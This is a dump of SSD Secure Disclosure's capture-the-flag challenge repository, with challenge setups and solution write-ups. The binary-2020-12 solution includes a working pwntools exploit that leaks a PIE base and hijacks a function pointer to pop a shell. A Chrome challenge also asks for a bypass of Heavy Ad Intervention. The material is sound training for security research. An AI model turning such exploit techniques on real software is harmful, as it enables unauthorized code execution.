17 | ADD challenge/libpthread-2.23.so /home/ctf/libpthread-2.23.so
18 | ADD challenge/helper.sh /home/ctf/helper.sh
19 | ADD challenge/launch.sh /home/ctf/launch.sh
20 |
21 | # Set some proper permissions
22 | RUN chown -R root:ctf /home/ctf
23 | RUN chmod 750 /home/ctf/checker
24 | RUN chmod 750 /home/ctf/launch.sh
25 | RUN chmod 440 home/ctf/flag
26 |
27 | USER ctf
28 | # If people complain about the server NOT being easy enough to pop a shell on, then add a 'nice' value to it.
29 | # Something like 'nice -5 /home/ctf/launch.sh' or add the niceness directly to the launch/helper scripts.
30 | # https://linux.die.net/man/1/nice
31 | ENTRYPOINT cd /home/ctf && /home/ctf/launch.sh
32 |
--------------------------------------------------------------------------------
/binary-2020-12/README.md:
--------------------------------------------------------------------------------
1 | # Welcome to our December - 2020 challenge
2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it!
3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a 100$ Amazon gift card.
4 |
5 | Solutions should be provided in:
6 | 1. python2 or python3 (preferred) form
7 | 2. Solution should connect via port 2324 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script
8 | 3. If you are not using existing modules, provide a `requirements.txt` file
9 |
10 | ## Notes on files under challenge folder
11 | While the `flag`, `checker` (hash: 894b94851180f62992728605e53580e6c4ceae4b16ac9ed952918faab0b5d462), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment.
12 |
13 |
14 | ## Notes on setting on the ENV for the challenge
15 | ### Build container
16 | ```bash
17 | sudo docker build --tag prime_checker .
18 | ```
19 |
20 | ### Run container with port 2324 being exposed
21 | ```bash
22 | sudo docker run --detach -p 2324:2324 prime_checker
23 | ```
24 |
25 | ### Debugging
26 | ```bash
27 | sudo docker exec -it bash
28 | ```
29 |
--------------------------------------------------------------------------------
/binary-2020-12/challenge/checker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/checker
--------------------------------------------------------------------------------
/binary-2020-12/challenge/flag:
--------------------------------------------------------------------------------
1 | S3D{threads_are_so_fun!}
2 |
--------------------------------------------------------------------------------
/binary-2020-12/challenge/helper.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #LD_PRELOAD="./libc.so.6 ./libpthread.so" ./ld.so ./checker
4 | LD_PRELOAD="./libc-2.23.so ./libpthread-2.23.so" ./ld-2.23.so ./checker
5 | #./checker
6 |
--------------------------------------------------------------------------------
/binary-2020-12/challenge/launch.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while true
4 | do
5 | echo "Starting Program..."
6 | socat TCP-LISTEN:2324,reuseaddr,fork EXEC:"./helper.sh"
7 | done
8 |
--------------------------------------------------------------------------------
/binary-2020-12/challenge/ld-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/ld-2.23.so
--------------------------------------------------------------------------------
/binary-2020-12/challenge/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/libc-2.23.so
--------------------------------------------------------------------------------
/binary-2020-12/challenge/libpthread-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/libpthread-2.23.so
--------------------------------------------------------------------------------
/binary-2020-12/deploy.sh:
--------------------------------------------------------------------------------
1 | # Notes on setting on the ENV for the challenge
2 | # Build container
3 | docker build --tag prime_checker .
4 |
5 | # Run container with port 2323 being exposed
6 | docker run --detach -p 2324:2324 prime_checker
7 |
8 | # Debugging
9 | # sudo docker exec -it bash
10 |
--------------------------------------------------------------------------------
/binary-2020-12/solution/README.md:
--------------------------------------------------------------------------------
1 | # SSD December Challenge (by Juno Im of [theori](https://theori.io) - [@junorouse](https://twitter.com/junorouse))
2 |
3 | ## Introduction
4 |
5 | This program (prime_checker) is a simple binary that tells you if the input value (integer) is a prime number. There are 3 features in the main function,
6 | "Check value Options" that set parameters, "Show results" that show , and "Exit" that you can exit the program.
7 |
8 | ### Check value Options
9 |
10 | ```c
11 | int printSubMenu()
12 | {
13 | puts("1. Make Req");
14 | puts("2. View Req");
15 | puts("3. Set Num");
16 | puts("4. Set Type");
17 | puts("5. Send Req");
18 | puts("6. Exit");
19 | return putchar('>');
20 | }
21 | ```
22 |
23 | #### Vulnerability A
24 |
25 | The following is the code when you choose the "2. View Req" feature:
26 |
27 | ```c
28 | int index;
29 |
30 | ...
31 |
32 | else if ( choice == 2 )
33 | {
34 | printf("Index to view: ");
35 | fgets(&s, 10, stdin);
36 | index = atoi(&s);
37 | if ( index >= requestCount ) [1]
38 | {
39 | puts("Invalid Index");
40 | }
41 | else
42 | {
43 | printf("Req #%d\n", index);
44 | printf("Number: %lld\n", Numbers[index].value_0);
45 | printf("Type: %d\n", (LODWORD(Numbers[index].type) | HIDWORD(Numbers[index].type)));
46 | }
47 | ```
48 |
49 | The part indicated by [1] does not perform integer overflow checks against index. This allows to induce arbitrary memory leak by accessing with negative index.
50 |
51 | ### Show results
52 |
53 | The code to show results is as follows:
54 |
55 | ```c
56 |
57 | if ( result != 2 )
58 | break;
59 | printf("Index to view: ");
60 | fgets(&s, 10, stdin);
61 | index = atoi(&s);
62 | if ( index < 0 || index >= inputCount ) [2]
63 | puts("Invalid index");
64 | (RequestQueue[index].funcPtr)(index);
65 | }
66 | ```
67 |
68 | It gets an element of `RequestQueue` by entered index and call its function pointer
69 |
70 | #### Vulnerability B
71 |
72 | In [2], the check is also perfomed to ensure that the index is not out-of-bound.
73 | On the other hand, when you entered out of bound index it just prints "Invalid Index" and do nothing.
74 | Therefore, you can call function pointer at arbitrary address((0x18 * index) + 0x8; 0x8 is function pointer offset) through out-of-bound access.
75 |
76 | # Exploit
77 |
78 | You can leak the PIE/Library base via vulnerability A, however you don't know stack/heap address which stores our input data from fgets / set value feature.
79 | But you can easily figure out that the offset difference between the PIE base and the thread stack is always (90%) same through debugging.
80 |
81 | The function which called inside the pthread follows:
82 |
83 | ```asm
84 | .text:0000000000000F5F ; __unwind {
85 | .text:0000000000000F5F push rbp
86 | .text:0000000000000F60 mov rbp, rsp
87 | .text:0000000000000F63 sub rsp, 20h
88 | .text:0000000000000F67 mov [rbp+var_18], rdi ; our lld input via set value feature
89 | .text:0000000000000F6B mov eax, cs:IfIsLastThenSleep
90 | .text:0000000000000F71 cmp eax, 1
91 | .text:0000000000000F74 jnz short loc_F8C
92 | .text:0000000000000F76 lea rdi, aLetSTakeA2Seco ; "Let's take a 2. second moment of silenc"...
93 | .text:0000000000000F7D call puts
94 | .text:0000000000000F82 mov edi, 2 ; seconds
95 | .text:0000000000000F87 call sleep
96 | .text:0000000000000F8C
97 | .text:0000000000000F8C loc_F8C: ; CODE XREF: calcNoobIsPrime+15↑j
98 | ```
99 |
100 | - `rbp-var_18 - PIE base` == -695656
101 |
102 | ## Script
103 |
104 | ```python
105 | #!/usr/bin/env python
106 | from pwn import *
107 |
108 | context.terminal = ['tmux', 'splitw', '-h']
109 | context.log_level = 'error'
110 |
111 | # r = process(['./ld-2.23.so', './checker'], env={'LD_PRELOAD': './libc-2.23.so ./libpthread-2.23.so'})
112 | while True:
113 | try:
114 | r = remote('0', 2324)
115 | r.sendlineafter('>', '1') # check value options
116 | # context.log_level = 'debug'
117 |
118 | # vuln A
119 | # -276 => 0x555555554734; symbol version table
120 | r.sendlineafter('>', '2') # view req
121 | r.sendlineafter(':', '-276')
122 | r.recvuntil('Number: ')
123 | pie_base = int(r.recvuntil('\n').strip()) - 0x734
124 | print 'pie_base: 0x%X' % pie_base
125 |
126 | r.sendlineafter('>', '1') # make req
127 | r.sendlineafter('>', '3') # set number
128 | r.sendlineafter(':', str(pie_base + 0xf32)) # rip
129 | r.sendlineafter('>', '4') # set type
130 | r.sendlineafter(':', '5') # is last | type(1)
131 | r.sendlineafter('>', '5') # go
132 |
133 | # vuln B
134 | r.sendlineafter('>', '2')
135 | r.sendlineafter(':', '-695656') # rbp-var_18 - PIE base
136 | r.recvuntil('\n')
137 | r.sendline('id')
138 | r.recv(4096)
139 |
140 | r.interactive()
141 | break
142 | except:
143 | r.close()
144 | continue
145 | ```
146 |
147 |
148 | ```
149 | ➜ binary-2020-12 git:(master) ✗ ./solve.py
150 | pie_base: 0x7FCB120C2000
151 | pie_base: 0x7F34E58B9000
152 | pie_base: 0x7EFC71420000
153 | pie_base: 0x7F4960BE2000
154 | pie_base: 0x7F1DC1750000
155 | pie_base: 0x7F45F7D75000
156 | pie_base: 0x7FD66633E000
157 | pie_base: 0x7F51C09CB000
158 | pie_base: 0x7F430E918000
159 | pie_base: 0x7F16D5D74000
160 | $ ls
161 | checker
162 | flag
163 | helper.sh
164 | launch.sh
165 | ld-2.23.so
166 | libc-2.23.so
167 | libpthread-2.23.so
168 | $ cat flag
169 | S3D{threads_are_so_fun!}
170 | $
171 | ```
172 |
--------------------------------------------------------------------------------
/binary-2021-11-23/README.md:
--------------------------------------------------------------------------------
1 | # Welcome to our November - 2021 challenge
2 | This challenge comes as a binary memory dump file. The challenge is to analyse the memory dump and figure out what has occurred and uncover the flag found inside it.
3 |
4 | # Flag structure
5 | The flag will be structured as:
6 | `SSD{...}`
7 |
8 | # Solutions
9 | Send your solution guide and flag to contact@ssd-disclosure.com for your chance to win!
10 |
--------------------------------------------------------------------------------
/binary-2021-11-23/mspaint.exe.dmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2021-11-23/mspaint.exe.dmp
--------------------------------------------------------------------------------
/chrome-ad-heavy/README.md:
--------------------------------------------------------------------------------
1 | # TyphoonCon 2021 Chrome Ad-Heavy Bypass Challenge
2 | # We will be accepting multiple submission, each eligible up to $15,000 USD in rewards.
3 |
4 | ## Introduction
5 | During July 2021, SSD Secure Disclosure hosted TyphoonCon 2021 Capture the flag: a four-day competition, with specially crafted challenges alongside fantastic prizes all focused on reverse engineering and vulnerability research.
6 |
7 | Feedback received for the Chrome challenge posted in the CTF, made us realize that Chrome vulnerabilities and bypasses could use some more exposure. This more focused task will hopefully encourage people to study the Chrome browser and solve parts of the challenge presented.
8 |
9 | *Note that the challenge below is not vulnerability-based, but meant to test your knowledge of how Chrome inner workings and its internal mechanisms.*
10 |
11 | ## Technical Details
12 | The following is a challenge to discover a bypass for one of Chrome’s newest features:
13 |
14 | As part of Chrome 85, Google released a feature dubbed: ‘Heavy Ad Intervention’. This feature’s goal is to stop the execution of ads that consume too much CPU or network bandwidth without the user’s consent – more information about Ad Tagging can be found in ‘Handling Heavy Ad Interventions’ at developers.google.com
15 |
16 | The following files create a heavy-ad that Chrome will kill (a few seconds after it opens the page). The successful solution, should provide a script that is inserted with the ad and allows the ad to run regardless of the heavy-ad restrictions.
17 |
18 | Four files are provided:
19 | 1) index.html – the main site users visit
20 | 2) gads.js – the file that adds the ‘advertisement’
21 | 3) adunit.html – The heavy-ad
22 | 4) big.bin – a heavy file that the ad should try to download to simulate heavy traffic.
23 |
24 | ## Objective
25 | The participants are expected to modify the adunit.html file so that it will exceed (by downloading big.bin) the amount of network usage and the ad will not be removed by Chrome.
26 |
27 | In essence, if you are able to download big.bin and still keep the ad running, you have bypassed the Chrome heavy-ad intervention mechanism and solved the challenge.
28 |
29 | ## Testing the bypass
30 | * Use https://heavy-ads.glitch.me , which loads a given iframe inside an ad tagged frame.
--------------------------------------------------------------------------------
/chrome-ad-heavy/adunit.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
14 |
15 |
16 | The frame will now start violating the heavy ad intervention rules, please hold...
17 |
18 | Clicking this frame will disable heavy ad intervention on it
19 |
20 |
21 |
22 | To ensure this is an ad:
23 |
24 | - Open DevTools (Ctrl + Shift + I)
25 | - Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering
26 | - Enable `Highlight ad frames`
27 |
28 |
29 | Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
30 |
31 |
35 |
36 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/chrome-ad-heavy/gads.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 |
3 | const iframe = document.createElement("iframe");
4 | iframe.src = "adunit.html";
5 | iframe.style = "width: 98vw; height: 60vh";
6 | document.body.appendChild(iframe);
7 |
--------------------------------------------------------------------------------
/chrome-ad-heavy/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Hello! This is the main site.
5 | The ad should be loaded below:
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/max_debugger/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:bionic
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get update -y
7 | RUN apt-get install -y vim tmux gdb strace gcc git
8 | RUN apt-get install -y python3-pip socat python3
9 |
10 | # Create ctf-user
11 | RUN groupadd -r ctf && useradd -r -g ctf ctf
12 | RUN mkdir /home/ctf
13 |
14 | # Where to store users
15 | RUN mkdir /home/ctf/programs/
16 | RUN chmod 111 /home/ctf/programs/
17 | RUN groupadd -r debugger && useradd -r -g debugger debugger
18 |
19 | # Challenge files
20 | ADD flag /home/ctf/flag
21 | ADD MaxDebugger /home/ctf/MaxDebugger
22 | ADD startup.sh /home/ctf/startup.sh
23 | ADD program.py /home/ctf/program.py
24 |
25 | # Set some proper permissions for the container
26 | RUN chown -R ctf:ctf /home/ctf
27 |
28 | # For using the flag later
29 | RUN chown root:ctf /home/ctf/MaxDebugger
30 |
31 | # Only the root user can RUN/open these
32 | RUN chmod 700 /home/ctf/MaxDebugger
33 | RUN chmod 700 /home/ctf/startup.sh
34 | RUN chmod 700 /home/ctf/program.py
35 | RUN chown -R root:root /home/ctf/flag
36 | RUN chmod 400 /home/ctf/flag
37 |
38 | # For the entrypoint, we'll startup the daemon for reading in files
39 | ENTRYPOINT cd /home/ctf && ./startup.sh
40 |
--------------------------------------------------------------------------------
/max_debugger/MaxDebugger:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/max_debugger/MaxDebugger
--------------------------------------------------------------------------------
/max_debugger/README.md:
--------------------------------------------------------------------------------
1 | # How to Compile
2 | `gcc hacker.c -o hacker -ggdb -static`
3 | The program must be compiled statically and with symbols. Otherwise, the program will immedateily crash.
4 |
--------------------------------------------------------------------------------
/max_debugger/docker_deploy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Build the container
4 | sudo docker build --tag max_debugger . || exit
5 |
6 | # Run the container
7 | # DEBUG version for easier debuging
8 | #sudo docker run -d --privileged --cap-add sys_admin --security-opt apparmor:unconfined -p 2326:2326 -it max_debugger sleep infinity || exit
9 |
10 | sudo docker run -d -p 2326:2326 --cap-add=SYS_PTRACE -it max_debugger sleep infinity || exit
11 |
12 | # DEBUG version -- goes into the container automatically
13 | docker_ps=$(sudo docker ps -q | head -n1)
14 | sudo docker exec -u root -it $docker_ps /bin/bash
15 |
--------------------------------------------------------------------------------
/max_debugger/flag:
--------------------------------------------------------------------------------
1 | To win you need to send contact@ssd-disclosure.com your exploit
2 |
--------------------------------------------------------------------------------
/max_debugger/program.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import uuid
4 | import shutil
5 | import string
6 |
7 | # Gets the file from the user
8 | def get_file():
9 | # Get the size of the file
10 | print("Size: ")
11 | size = int(input())
12 |
13 | if(size > 1000000):
14 | print("File too big")
15 | sys.exit(0)
16 |
17 | print("File Contents")
18 | print("=================")
19 |
20 | file_contents = sys.stdin.buffer.read(size)
21 | return file_contents
22 |
23 | # Write a file
24 | def write_file(name, contents):
25 | fd = open(name, "wb+")
26 | fd.write(contents)
27 | fd.close()
28 |
29 | # Specify the permissions of the file
30 | os.chown(name, 0, 0) # Root user
31 | os.chmod(name, 0o777) # Read & execute
32 |
33 | # Clean up the current execution
34 | def cleanup(foldername):
35 | shutil.rmtree(foldername)
36 |
37 | # Setup process information for a user making a call
38 | def setup_call():
39 |
40 | filename = str(uuid.uuid4())
41 | foldername = str(uuid.uuid4())
42 | folder = "/home/ctf/programs/"
43 |
44 | # Get the file from the user
45 | contents = get_file()
46 |
47 | # Location of the chroot jail
48 | os.mkdir(folder + foldername)
49 | os.mkdir(folder + foldername + "/etc")
50 |
51 | # Copy the standard user information here
52 | shutil.copy("/etc/passwd", folder + foldername + "/etc/passwd")
53 |
54 | # Move the current working directory in here for later
55 | os.chdir(folder + foldername)
56 |
57 | # User executable to create
58 | write_file(folder + foldername + "/" + filename, contents)
59 |
60 | # No special characters, spaces and (most importantly) "."s
61 | allowlist = set(string.ascii_lowercase + string.digits + "/" + "-")
62 | filename = ''.join(c for c in filename if c in allowlist)
63 |
64 | command = "/home/ctf/MaxDebugger " + "./" + filename
65 | os.system(command)
66 | cleanup(folder + foldername)
67 |
68 | setup_call()
69 |
--------------------------------------------------------------------------------
/max_debugger/startup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | socat TCP-LISTEN:2326,reuseaddr,fork EXEC:"python3 -u /home/ctf/program.py"
4 |
5 |
6 |
--------------------------------------------------------------------------------
/photo-2018-01/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 | This challenge is a bit different, its an HTML + JPG file that need to be solved.
3 |
--------------------------------------------------------------------------------
/photo-2018-01/challenge/2018_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/photo-2018-01/challenge/2018_2.jpg
--------------------------------------------------------------------------------
/photo-2018-01/challenge/README.md:
--------------------------------------------------------------------------------
1 | # Happy new year everyone!
2 |
3 | Hope you had the chance to celebrate and think about all the good things that happened to you in 2017.
4 | We have a nice surprise for you – this link is worth 1,000$ USD !*
5 |
6 | 
7 |
8 | *You don’t need to hack the website, the money is out there in the link*
9 |
10 | We also have some new updates for you:
11 | # beVX Conference
12 | Beyond Security with VX will have the first all offensive security conference in Hong Kong – beVX Conference.
13 |
14 | The conference will take place at Hong Kong (we will announce the venue in the next couple of weeks)
15 |
16 | What we will have in the conference?
17 | * One full day of workshop on vulnerability research and exploit development
18 | * One full day of lectures on vulnerability research and exploit development
19 | * Hack2Win eXtreme with hundreds of thousands of dollars of prizes
20 |
21 | Stay tune for more details!
22 |
23 | # Conferences:
24 | * Offensivecon (Berlin, Germany, 16-17 February 2018)
25 | * CanSecWest (Vancouver, Canada, 14-16 March 2018)
26 | * Nopcon (Istanbul, Turkey, 3 May 2018)
27 |
28 | We provide free entry tickets, up to 1000$ in flights and accommodation to our security researchers community!
29 |
30 | Also, if you plan to attend (and even if you don’t need the ticket or reimbursement) let me know so that I can look for you and say hello.
31 |
32 | If any of you guys are interested in attending drop me an email.
33 |
34 | We also started to look for 2018 Q2 conferences. If you know about inserting conference – email me.
35 |
36 | # Friend refer a friend program
37 | We had a great year of 2017 with our friends program and have therefore decided to improve it and make the benefit much bigger, if you refer us a new researcher and he will start working with us on Operating systems / Mobile / Web Browsers – you will get 10,000$ USD.
38 |
39 | For other vulnerabilities – you will get 1,000$ USD.
40 |
41 | Once again – Happy new year!
--------------------------------------------------------------------------------
/photo-2018-01/solution/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 | The challenge was split into two parts:
3 | 1. Finding it
4 | 2. Solving it
5 |
6 | Finding it wasn’t very hard, the challenge was hidden inside the image, it wasn’t anything fancy, just inside the image you had a zip file appended to the end of the file:
7 |
8 | ```
9 | wget https://blogs.securiteam.com/wp-content/uploads/2018/01/2018_2.jpg
10 | --2018-01-04 07:XX:XX-- https://blogs.securiteam.com/wp-content/uploads/2018/01/2018_2.jpg
11 | Resolving blogs.securiteam.com... 104.196.190.188
12 | Connecting to blogs.securiteam.com|104.196.190.188|:443... connected.
13 | HTTP request sent, awaiting response... 200 OK
14 | Length: 84283 (82K) [image/jpeg]
15 | Saving to: ‘2018_2.jpg’
16 | 2018_2.jpg 100%[=================================================>] 82.31K 321KB/s in 0.3s
17 | 2018-01-04 07:XX:XX (321 KB/s) - ‘2018_2.jpg’ saved [84283/84283]
18 |
19 | $ xxd 2018_2.jpg | tail
20 | 000148a0: 0000 e817 0000 0900 1800 0000 0000 0000 ................
21 | 000148b0: 0000 fd81 0000 0000 6368 616c 6c65 6e67 ........challeng
22 | 000148c0: 6555 5405 0003 b50b 495a 7578 0b00 0104 eUT.....IZux....
23 | 000148d0: e803 0000 04e8 0300 0050 4b01 021e 0314 .........PK.....
24 | 000148e0: 0000 0008 009b 9021 4c14 3bc1 9d86 0000 .......!L.;.....
25 | 000148f0: 009c 0000 0006 0018 0000 0000 0001 0000 ................
26 | 00014900: 00b4 817b 0900 0052 4541 444d 4555 5405 ...{...READMEUT.
27 | 00014910: 0003 265c 4a5a 7578 0b00 0104 e803 0000 ..&\JZux........
28 | 00014920: 04e8 0300 0050 4b05 0600 0000 0002 0002 .....PK.........
29 | 00014930: 009b 0000 0041 0a00 0000 00 .....A.....
30 | ```
31 |
32 | If you binwalk inspect the file you will see:
33 |
34 | ```
35 | $ binwalk 2018_2.jpg
36 | DECIMAL HEXADECIMAL DESCRIPTION
37 | --------------------------------------------------------------------------------
38 | 0 0x0 JPEG image data, JFIF standard 1.01
39 | 81481 0x13E49 Zip archive data, at least v2.0 to extract, compressed size: 2360, uncompressed size: 6120, name: challenge
40 | 83908 0x147C4 Zip archive data, at least v2.0 to extract, compressed size: 134, uncompressed size: 156, name: README
41 | 84261 0x14925 End of Zip archive
42 | ```
43 |
44 | This looks really promising now, a ZIP file has been appended to the image, and binwalk tells us it’s located at offset 81481. We can use dd to get the archive.
45 |
46 | ```
47 | $ dd if=2018_2.jpg of=challenge.zip bs=1 skip=81481
48 | 2802+0 records in
49 | 2802+0 records out
50 | 2802 bytes (2.8 kB, 2.7 KiB) copied, 0.00661634 s, 423 kB/s
51 | ```
52 |
53 | Binwalk also tells us, there are two files inside the archive (challenge and README). Use unzip to get them.
54 | ```
55 | $ unzip challenge.zip
56 | Archive: challenge.zip
57 | inflating: challenge
58 | inflating: README
59 | ```
60 |
61 | The *readme* is pretty simple, just instructed you to make the challenge ELF binary file spit out text:
62 | ```
63 | Make 'challenge' output the following text (without a new line):
64 | Happy New Year! From Beyond Security SSD :)
65 | First correct submission will get 1,000$ USD!
66 | ```
67 |
68 | From this point the solution varied, our first solver reversed engineered the file and discovered what it does, which basically breaks down to:
69 | ```
70 | int main(int argc, char **argv, char **envp)
71 | {
72 | int ret;
73 | char filename[9];
74 | char key[13];
75 | strcpy(filename, "eapfxlya");
76 | strcpy(key, "\xFF\x6B\x28\x66\xD6\x35\xDA\x01\x4D\x64\x47\xA3");
77 | ret = challenge(filename, key);
78 | return ret;
79 | }
80 | int keyhash(const char *key)
81 | {
82 | int ret;
83 | unsigned int i;
84 | ret = 0;
85 | for ( i = 0; i < strlen(key); ++i )
86 | ret = _rotl(key[i] ^ ret, 7);
87 | return ret;
88 | }
89 | int decode(unsigned int *key, char *out, unsigned int size)
90 | {
91 | int result;
92 | int i;
93 | for ( i = 0; ; ++i )
94 | {
95 | result = i;
96 | if ( i >= size )
97 | break;
98 | *key *= 0x8088405;
99 | out[i] ^= ++*key >> 24;
100 | }
101 | return result;
102 | }
103 | int challenge(const char *filename, char *key)
104 | {
105 | int result;
106 | int seed;
107 | unsigned int n;
108 | FILE *fp;
109 | char *ptr;
110 | fp = fopen(filename, "rb");
111 | if ( fp )
112 | {
113 | n = 1;
114 | seed = keyhash(key);
115 | while ( n )
116 | {
117 | ptr = (char *)malloc(0x200uLL);
118 | n = fread(ptr, 1uLL, 0x200uLL, fp);
119 | decode(&seed, ptr, n);
120 | write(1, ptr, n);
121 | }
122 | fclose(fp);
123 | putchar('\n');
124 | result = 1;
125 | }
126 | else
127 | {
128 | puts("file does not exist!");
129 | result = 0;
130 | }
131 | return result;
132 | }
133 | ```
134 |
135 | The program executes the following actions:
136 | 1. Open an encrypted file named “eapfxlya” (this can be confirmed with strace)
137 | 2. Generate a 32-bit key based on “\xFF\x6B\x28\x66\xD6\x35\xDA\x01\x4D\x64\x47\xA3” (see function keyhash)
138 | 3. Read the contents of the opened file
139 | 4. Decode it with XOR/ADD/MUL/SHR tricks (see function decode)
140 |
141 | The keyhash function is pretty straight-forward so let’s have a closer look at the decode function.
142 |
143 | It’s purpose is to generate a sequence of 32-bit numbers based on a linear congruential generator (aka *predictive* pseudo number generator) which takes a precomputed hash for seed.
144 |
145 | Each number of this sequence is then shifted right and used as a 8-bit xor-mask on every byte in the file stream.
146 |
147 | In conclusion, this program can be used to decode and encode any file in a symmetric way. So let’s use the happy new year string “Happy New Year! From Beyond Security SSD :)” and feed it into the reversed program.
148 |
149 | ```
150 | $ echo -ne "Happy New Year! From Beyond Security SSD :)" > eapfxlya
151 | $ ./challenge > tmp
152 | $ dd if=tmp of=eapfxlya bs=43 count=1 # don't forget, it's without a new line
153 | $ ./challenge
154 | Happy New Year! From Beyond Security SSD :)
155 | ```
156 | Congratulations to: **Alexandre** for solving the challenge first (within 2 hours of posting it online).
157 | A few other solutions we received included a brute forcing code (a cool one from **Tukan**):
158 | ```
159 | root@ubuntu-512mb-ams2-01:~# cat solver.py
160 | import sys
161 | def reversit(inp, checksum=0xf5f6103f):
162 | out = ''
163 | for c in inp:
164 | checksum *= 0x08088405
165 | checksum &= 2**32-1
166 | checksum += 1
167 | outc = ord(c) ^ ((checksum) >> 24)
168 | out += chr(outc)
169 | return out
170 | winner = reversit('Happy New Year! From Beyond Security SSD :)' + '\x1b' + 'P')
171 | sys.stdout.write(winner)
172 | root@ubuntu-512mb-ams2-01:~# python solver.py > eapfxlya
173 | root@ubuntu-512mb-ams2-01:~# ./challenge
174 | ```
175 |
--------------------------------------------------------------------------------